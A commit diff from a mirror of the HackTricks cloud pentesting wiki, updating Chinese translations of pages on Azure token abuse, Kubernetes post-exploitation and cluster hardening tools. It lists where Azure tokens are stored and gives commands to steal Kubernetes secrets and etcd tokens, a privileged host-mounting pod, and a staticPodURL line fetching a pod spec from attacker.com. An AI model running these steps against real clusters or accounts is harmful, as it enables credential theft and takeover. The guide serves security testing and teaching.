mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-basic-information/az
This commit is contained in:
Translator
@@ -13,7 +13,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
1. **资源服务器 (RS)：** 保护资源所有者拥有的资源。
|
||||
2. **资源所有者 (RO)：** 通常是拥有受保护资源的最终用户。
|
||||
3. **客户端应用程序 (CA)：** 代表资源所有者请求访问资源的应用程序。
|
||||
4. **授权服务器 (AS)：** 在对客户端应用程序进行身份验证和授权后向其发放访问令牌。
|
||||
4. **授权服务器 (AS)：** 在验证和授权客户端应用程序后向其发放访问令牌。
|
||||
|
||||
**范围和同意：**
|
||||
|
||||
@@ -34,7 +34,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
- 拥有自己的凭据（例如，密码或证书）。
|
||||
- 可以**安全地向授权服务器进行身份验证**。
|
||||
2. **公共客户端：**
|
||||
- 没有唯一的凭据。
|
||||
- 没有唯一凭据。
|
||||
- 不能安全地向授权服务器进行身份验证。
|
||||
- **安全隐患：** 攻击者可以在请求令牌时冒充公共客户端应用程序，因为授权服务器没有机制来验证应用程序的合法性。
|
||||
|
||||
@@ -42,7 +42,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
|
||||
在 OIDC 中使用**三种类型的令牌**：
|
||||
|
||||
- [**访问令牌**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 客户端将此令牌呈现给资源服务器以**访问资源**。它只能用于特定的用户、客户端和资源组合，并且**在到期之前无法撤销** - 默认情况下为 1 小时。
|
||||
- [**访问令牌**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 客户端将此令牌呈现给资源服务器以**访问资源**。它只能用于特定的用户、客户端和资源组合，并且**在到期之前无法被撤销** - 默认情况下为 1 小时。
|
||||
- **ID 令牌**：客户端从**授权服务器**接收此**令牌**。它包含有关用户的基本信息。它**绑定到特定的用户和客户端组合**。
|
||||
- **刷新令牌**：与访问令牌一起提供给客户端。用于**获取新的访问和 ID 令牌**。它绑定到特定的用户和客户端组合，并且可以被撤销。默认过期时间为**90 天**（对于不活动的刷新令牌）和**活动令牌没有过期**（可以从刷新令牌获取新的刷新令牌）。
|
||||
- 刷新令牌应与**`aud`**、某些**范围**和**租户**相关联，并且只能为该 aud、范围（且不更多）和租户生成访问令牌。然而，这在**FOCI 应用程序令牌**中并非如此。
|
||||
@@ -50,7 +50,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
- 获取新的刷新令牌不会撤销先前的刷新令牌。
|
||||
|
||||
> [!WARNING]
|
||||
> **条件访问**的信息存储在**JWT**中。因此，如果您从**允许的 IP 地址**请求**令牌**，该**IP**将被**存储**在令牌中，然后您可以使用该令牌从**不允许的 IP 访问资源**。
|
||||
> **条件访问**的信息存储在**JWT**中。因此，如果您从**允许的 IP 地址**请求**令牌**，该**IP**将被**存储**在令牌中，然后您可以从**不允许的 IP 访问资源**使用该令牌。
|
||||
|
||||
### 访问令牌 "aud"
|
||||
|
||||
@@ -71,7 +71,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
* **arm (Azure Resource Manager)**：用于通过 Azure Resource Manager API 管理 Azure 资源。这包括创建、更新和删除虚拟机、存储帐户等资源的操作。
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**：用于访问 Azure Batch，这是一项服务，可有效地在云中启用大规模并行和高性能计算应用程序。
|
||||
- **batch (Azure Batch Services)**：用于访问 Azure Batch，这是一项服务，可在云中高效地启用大规模并行和高性能计算应用程序。
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**：用于与 Azure Data Lake Storage Gen1 交互，这是一项可扩展的数据存储和分析服务。
|
||||
@@ -92,7 +92,7 @@ Entra ID 是微软基于云的身份和访问管理 (IAM) 平台，作为 Micros
|
||||
|
||||
访问令牌的范围存储在访问令牌 JWT 内的 scp 键中。这些范围定义了访问令牌可以访问的内容。
|
||||
|
||||
如果 JWT 被允许联系特定 API，但**没有范围**来执行请求的操作，则**无法使用该 JWT 执行该操作**。
|
||||
如果 JWT 被允许联系特定 API，但**没有范围**来执行请求的操作，它**将无法使用该 JWT 执行该操作**。
|
||||
|
||||
### 获取刷新和访问令牌示例
|
||||
```python
|
||||
@@ -154,11 +154,11 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
- **iss**: 发行者标识生成令牌的安全令牌服务 (STS)。例如 https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/（uuid 是租户 ID）
|
||||
- **oid**: 主体的对象 ID
|
||||
- **tid**: 租户 ID
|
||||
- **iat, nbf, exp**: 签发时间（何时签发）、不可用时间（在此时间之前不可使用，通常与 iat 相同）、过期时间。
|
||||
- **iat, nbf, exp**: 签发时间（何时签发）、不早于（在此时间之前不能使用，通常与 iat 相同）、过期时间。
|
||||
|
||||
## FOCI 令牌特权提升
|
||||
|
||||
之前提到过，刷新令牌应与生成时的 **范围**、**应用程序**和 **租户** 绑定。如果打破了这些边界，就有可能提升特权，因为将能够生成用户有权访问的其他资源和租户的访问令牌，并且具有比最初预期更多的范围。
|
||||
之前提到过，刷新令牌应与生成时的 **scopes**、**应用程序**和 **租户** 绑定。如果打破了这些边界，可能会提升特权，因为将能够生成访问其他资源和租户的访问令牌，用户可以访问这些资源，并且具有比最初预期更多的范围。
|
||||
|
||||
此外，**所有刷新令牌都可以这样做** 在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)（Microsoft Entra 账户、Microsoft 个人账户以及 Facebook 和 Google 等社交账户）中，因为正如 [**文档**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所提到的：“刷新令牌绑定于用户和客户端的组合，但 **不绑定于资源或租户**。客户端可以使用刷新令牌获取 **在其有权限的任何资源和租户组合** 中的访问令牌。刷新令牌是加密的，只有 Microsoft identity platform 可以读取它们。”
|
||||
|
||||
@@ -168,7 +168,7 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
### 获取不同的范围
|
||||
|
||||
继续之前的示例代码，在此代码中请求一个不同范围的新令牌：
|
||||
继续之前的示例代码，在此代码中请求了一个不同范围的新令牌：
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -201,7 +201,27 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## 参考
|
||||
## 找到令牌的地方
|
||||
|
||||
从攻击者的角度来看，了解在受害者的PC被攻破时，在哪里可以找到访问令牌和刷新令牌是非常有趣的：
|
||||
|
||||
- 在 **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** 包含过去登录用户的信息
|
||||
- **`clouds.config` 包含** 订阅的信息
|
||||
- **`service_principal_entries.json`** 包含应用程序凭据（租户ID、客户端和密钥）。仅在Linux和macOS上
|
||||
- **`msal_token_cache.json`** 包含访问令牌和刷新令牌。仅在Linux和macOS上
|
||||
- **`service_principal_entries.bin`** 和 **`msal_token_cache.bin`** 在Windows中使用，并使用DPAPI加密
|
||||
- **`msal_http_cache.bin`** 是HTTP请求的缓存
|
||||
- 加载它： `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** 包含使用Az PowerShell的先前登录信息（但没有凭据）
|
||||
- 在 **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 中有几个 `.bin` 文件，包含使用用户DPAPI加密的 **访问令牌**、ID令牌和帐户信息。
|
||||
- 可以在 **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 中的 `.tbres` 文件中找到更多 **访问令牌**，这些文件包含使用DPAPI加密的访问令牌的base64。
|
||||
- 在Linux和macOS中，可以通过运行 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 从Az PowerShell（如果使用）获取 **访问令牌、刷新令牌和ID令牌**。
|
||||
- 在Windows中，这只会生成ID令牌。
|
||||
- 可以通过检查 `$HOME/.local/share/.IdentityService/` 是否存在来查看是否在Linux和macOS中使用了Az PowerShell（尽管包含的文件是空的且无用）。
|
||||
- 如果用户在浏览器中 **登录了Azure**，根据这篇 [**文章**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)，可以通过 **重定向到localhost** 开始身份验证流程，使浏览器自动授权登录，并接收刷新令牌。请注意，只有少数几个FOCI应用程序允许重定向到localhost（如az cli或PowerShell模块），因此必须允许这些应用程序。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
|
||||
@@ -10,13 +10,13 @@
|
||||
|
||||
### 从 Pod 逃逸
|
||||
|
||||
为了尝试从 Pod 中逃逸，你可能需要先 **提升权限**，一些实现的方法如下：
|
||||
为了尝试从 pods 逃逸，你可能需要首先 **提升权限**，一些实现的方法：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
你可以查看这些 **docker 逃逸尝试**，以从你已攻陷的 Pod 中逃逸：
|
||||
你可以查看这些 **docker 逃逸尝试**，以从你已攻陷的 pod 中逃逸：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
@@ -24,13 +24,13 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
|
||||
|
||||
### 滥用 Kubernetes 权限
|
||||
|
||||
如在 **Kubernetes 枚举** 部分所述：
|
||||
如 **kubernetes 枚举** 部分所述：
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
通常，Pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**，你可以 **滥用** 这些权限 **移动** 到其他 Pods，甚至 **逃逸** 到集群内配置的节点。查看如何操作：
|
||||
通常，pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**，你可以 **滥用** 这些权限 **移动** 到其他 pods，甚至 **逃逸** 到集群内配置的节点。查看如何操作：
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -38,11 +38,11 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### 滥用云权限
|
||||
|
||||
如果 Pod 在 **云环境** 中运行，你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
|
||||
如果 pod 在 **云环境** 中运行，你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
|
||||
|
||||
## 搜索易受攻击的网络服务
|
||||
|
||||
由于你在 Kubernetes 环境中，如果你无法通过滥用当前 Pods 权限来提升权限，并且无法从容器中逃逸，你应该 **搜索潜在的易受攻击服务。**
|
||||
由于你在 Kubernetes 环境中，如果你无法通过滥用当前 pods 权限来提升权限，并且无法从容器中逃逸，你应该 **搜索潜在的易受攻击服务。**
|
||||
|
||||
### 服务
|
||||
|
||||
@@ -50,11 +50,11 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
默认情况下，Kubernetes 使用扁平网络架构，这意味着 **集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的 **namespaces** **默认没有任何网络安全限制**。在该命名空间中的任何人都可以与其他命名空间通信。
|
||||
默认情况下，Kubernetes 使用扁平网络架构，这意味着**集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的**命名空间**默认**没有任何网络安全限制**。命名空间中的任何人都可以与其他命名空间通信。
|
||||
|
||||
### 扫描
|
||||
|
||||
以下 Bash 脚本（取自一个 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 Kubernetes 集群的 IP 范围：
|
||||
以下 Bash 脚本（取自 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 Kubernetes 集群的 IP 范围：
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -85,7 +85,7 @@ pentesting-kubernetes-services/
|
||||
|
||||
## 网络欺骗
|
||||
|
||||
默认情况下，像**ARP欺骗**（以及因此产生的**DNS欺骗**）的技术在Kubernetes网络中有效。因此，在pod内部，如果您具有**NET_RAW能力**（默认情况下存在），您将能够发送自定义构造的网络数据包并执行**通过ARP欺骗对同一节点上运行的所有pod进行中间人攻击**。\
|
||||
默认情况下，像**ARP欺骗**（以及因此产生的**DNS欺骗**）的技术在Kubernetes网络中有效。因此，在pod内部，如果您具有**NET_RAW能力**（默认情况下存在），您将能够发送自定义构造的网络数据包，并通过ARP欺骗对同一节点上运行的所有pod执行**中间人攻击**。\
|
||||
此外，如果**恶意pod**与DNS服务器在**同一节点上运行**，您将能够对集群中的所有pod执行**DNS欺骗攻击**。
|
||||
|
||||
{{#ref}}
|
||||
@@ -96,7 +96,7 @@ kubernetes-network-attacks.md
|
||||
|
||||
Kubernetes清单中没有资源规范，并且**未应用限制**范围给容器。作为攻击者，我们可以**消耗pod/部署运行的所有资源**，使其他资源匮乏，从而导致环境的DoS。
|
||||
|
||||
这可以通过工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)来完成：
|
||||
这可以通过工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)来实现：
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
@@ -109,16 +109,17 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
如果你成功地**逃离了容器**，你会在节点中发现一些有趣的东西：
|
||||
|
||||
- **容器运行时**进程（Docker）
|
||||
- 节点中运行的更多**pods/containers**，你可以像这样利用（更多令牌）
|
||||
- 节点中运行的更多**pods/containers**，你可以像这样利用它们（更多令牌）
|
||||
- 整个**文件系统**和**操作系统**一般
|
||||
- **Kube-Proxy**服务在监听
|
||||
- **Kubelet**服务在监听。检查配置文件：
|
||||
- 正在监听的**Kube-Proxy**服务
|
||||
- 正在监听的**Kubelet**服务。检查配置文件：
|
||||
- 目录：`/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
|
||||
- 其他**kubernetes常见文件**：
|
||||
- `$HOME/.kube/config` - **用户配置**
|
||||
- `/etc/kubernetes/kubelet.conf`- **常规配置**
|
||||
@@ -126,14 +127,14 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd配置**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes密钥**
|
||||
|
||||
### Find node kubeconfig
|
||||
### 查找节点 kubeconfig
|
||||
|
||||
如果你在之前提到的路径中找不到kubeconfig文件，**检查kubelet进程的`--kubeconfig`参数**：
|
||||
如果你在之前提到的路径中找不到 kubeconfig 文件，**检查 kubelet 进程的 `--kubeconfig` 参数**：
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
### 偷取秘密
|
||||
### 窃取秘密
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -163,7 +164,7 @@ done
|
||||
|
||||
DaemonSet 是一个 **pod**，将在 **集群的所有节点** 中 **运行**。因此，如果一个 DaemonSet 配置了 **特权服务账户**，在 **所有节点** 中你都能找到该 **特权服务账户** 的 **token**，你可以利用它。
|
||||
|
||||
利用的方式与前一节相同，但你现在不再依赖运气。
|
||||
这个漏洞与前一节的相同，但你现在不再依赖运气。
|
||||
|
||||
### 转向云
|
||||
|
||||
@@ -175,7 +176,7 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### 偷取 etcd
|
||||
|
||||
如果你可以指定将运行容器的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，在控制平面节点中获取一个 shell 并获取 **etcd 数据库**：
|
||||
如果你可以指定将运行容器的节点的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，在控制平面节点内获取一个 shell 并获取 **etcd 数据库**：
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
@@ -210,19 +211,19 @@ db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciO
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
请提供需要翻译的具体内容。
|
||||
请提供需要翻译的内容。
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### 从 etcd 2 读取秘密 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### 从 etcd 读取秘密 2 [从这里](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. 创建 **`etcd`** 数据库的快照。查看 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
|
||||
1. 创建 **`etcd`** 数据库的快照。查看 [**这个脚本**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
|
||||
2. 以你喜欢的方式将 **`etcd`** 快照传输出节点。
|
||||
3. 解压数据库：
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. 在本地机器上启动 **`etcd`** 并使其使用被盗的快照：
|
||||
4. 在您的本地机器上启动 **`etcd`** 并使其使用被盗的快照：
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
@@ -241,23 +242,23 @@ etcdctl get /registry/secrets/default/my-secret
|
||||
|
||||
因此，静态 Pods 始终**绑定到特定节点上的一个 Kubelet**。
|
||||
|
||||
**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的，但无法从那里进行控制。Pod 名称将以节点主机名为后缀，前面带有一个连字符。
|
||||
**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的，但无法从那里进行控制。Pod 名称将以节点主机名为后缀，并带有前导连字符。
|
||||
|
||||
> [!CAUTION]
|
||||
> 静态 Pod 的 **`spec` 不能引用其他 API 对象**（例如，ServiceAccount、ConfigMap、Secret 等）。因此 **您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来破坏集群**。但您可以利用此功能在不同的命名空间中运行 Pods（如果出于某种原因这很有用）。
|
||||
> 静态 Pod 的 **`spec` 不能引用其他 API 对象**（例如，ServiceAccount、ConfigMap、Secret 等）。因此 **您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来妥协集群**。但您可以利用此功能在不同的命名空间中运行 Pods（如果出于某种原因这有用）。
|
||||
|
||||
如果您在节点主机内部，可以让它在**内部创建一个静态 pod**。这非常有用，因为它可能允许您在不同的命名空间中**创建一个 pod**，例如 **kube-system**。
|
||||
如果您在节点主机内部，可以让它在内部创建一个**静态 pod**。这非常有用，因为它可能允许您在不同的命名空间中**创建一个 pod**，例如 **kube-system**。
|
||||
|
||||
要创建静态 pod，[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两件事：
|
||||
为了创建一个静态 pod，[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两件事：
|
||||
|
||||
- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，或在 **kubelet 配置**中（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)）并重启服务
|
||||
- 在 **`/etc/kubernetes/manifests`** 中创建 **pod 定义**
|
||||
- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，或在 **kubelet 配置**中（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)），并重启服务
|
||||
- 在 **`/etc/kubernetes/manifests`** 中创建 **pod 定义**的定义
|
||||
|
||||
**另一种更隐蔽的方法是：**
|
||||
|
||||
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**，从 **指定的 URL** 获取 **配置**。
|
||||
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**，从指定的 URL 获取 **配置**。
|
||||
|
||||
**示例**的 **pod** 配置以在 **kube-system** 中创建一个特权 pod，取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**示例**的 **pod** 配置，以在 **kube-system** 中创建一个特权 pod，取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)：
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -283,9 +284,9 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### 删除 Pods + 无法调度的节点
|
||||
### 删除 Pods + 不可调度的节点
|
||||
|
||||
如果攻击者**攻陷了一个节点**，并且他可以**删除其他节点上的 Pods**，并且**使其他节点无法执行 Pods**，那么这些 Pods 将在被攻陷的节点上重新运行，他将能够**窃取在其中运行的令牌**。\
|
||||
如果攻击者**已攻陷一个节点**，并且他可以**删除其他节点上的 Pods**，并且**使其他节点无法执行 Pods**，那么这些 Pods 将在被攻陷的节点上重新运行，他将能够**窃取运行在其中的令牌**。\
|
||||
有关[**更多信息，请访问此链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
|
||||
|
||||
## 自动化工具
|
||||
|
||||
@@ -1,15 +1,41 @@
|
||||
# Kubernetes 硬化
|
||||
# Kubernetes Hardening
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 分析集群的工具
|
||||
## Tools to analyse a cluster
|
||||
|
||||
### [**Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
它将对Kubernetes集群进行**多个合规性检查**。它包括对CIS、国家安全局（NSA）和网络安全与基础设施安全局（CISA）Kubernetes加固的网络安全技术报告的支持。
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
brew install turbot/tap/steampipe
|
||||
steampipe plugin install kubernetes
|
||||
|
||||
# Start the service
|
||||
steampipe service start
|
||||
|
||||
# Install the module
|
||||
mkdir dashboards
|
||||
cd dashboards
|
||||
powerpipe mod init
|
||||
powerpipe mod install github.com/turbot/steampipe-mod-kubernetes-compliance
|
||||
|
||||
# Run the module
|
||||
powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) 是一个 K8s 开源工具，提供多云 K8s 单一视图，包括风险分析、安全合规、RBAC 可视化和镜像漏洞扫描。Kubescape 扫描 K8s 集群、YAML 文件和 HELM 图表，根据多个框架（如 [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) 、[MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)）检测错误配置、软件漏洞和 RBAC（基于角色的访问控制）违规，能够在 CI/CD 流水线的早期阶段计算风险分数，并显示风险趋势。
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) 是一个 K8s 开源工具，提供多云 K8s 单一视图，包括风险分析、安全合规、RBAC 可视化和镜像漏洞扫描。Kubescape 扫描 K8s 集群、YAML 文件和 HELM 图表，根据多个框架（如 [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) 、[MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)）检测错误配置、软件漏洞和 RBAC（基于角色的访问控制）违规，能够在 CI/CD 流水线的早期阶段即时计算风险分数并显示风险趋势。
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) 是一个实用工具，用于扫描实时的 Kubernetes 集群并 **报告已部署资源和配置的潜在问题**。它根据已部署的内容而不是磁盘上的内容来清理您的集群。通过扫描您的集群，它可以检测配置错误，并帮助您确保最佳实践到位，从而防止未来的麻烦。它旨在减少在实际操作 Kubernetes 集群时面临的认知负担。此外，如果您的集群使用了 metric-server，它会报告潜在的资源过/不足分配，并在您的集群容量不足时尝试警告您。
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
工具 [**kube-bench**](https://github.com/aquasecurity/kube-bench) 是一个通过运行 [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) 中记录的检查来检查 Kubernetes 是否安全部署的工具。\
|
||||
@@ -22,7 +48,7 @@ kubescape scan --verbose
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
工具 [**kubeaudit**](https://github.com/Shopify/kubeaudit) 是一个命令行工具和 Go 包，用于 **审计 Kubernetes 集群** 的各种安全问题。
|
||||
**[已弃用]** 工具 [**kubeaudit**](https://github.com/Shopify/kubeaudit) 是一个命令行工具和 Go 包，用于 **审计 Kubernetes 集群** 的各种安全问题。
|
||||
|
||||
Kubeaudit 可以检测它是否在集群中的容器内运行。如果是，它将尝试审计该集群中的所有 Kubernetes 资源：
|
||||
```
|
||||
@@ -32,90 +58,99 @@ kubeaudit all
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
该工具 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) 用于寻找 Kubernetes 集群中的安全弱点。该工具的开发旨在提高对 Kubernetes 环境中安全问题的意识和可见性。
|
||||
**[已弃用]** 工具 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) 用于寻找 Kubernetes 集群中的安全弱点。该工具的开发旨在提高对 Kubernetes 环境中安全问题的意识和可见性。
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) 有扫描器可以查找安全问题，以及可以找到这些问题的目标：
|
||||
|
||||
- 容器镜像
|
||||
- 文件系统
|
||||
- Git 仓库（远程）
|
||||
- 虚拟机镜像
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) 是一个漏洞扫描和CIS Docker基准工具，允许用户对其Kubernetes集群进行准确和即时的风险评估。Kubei扫描Kubernetes集群中使用的所有镜像，包括应用程序Pod和系统Pod的镜像。
|
||||
**[看起来没有维护]**
|
||||
|
||||
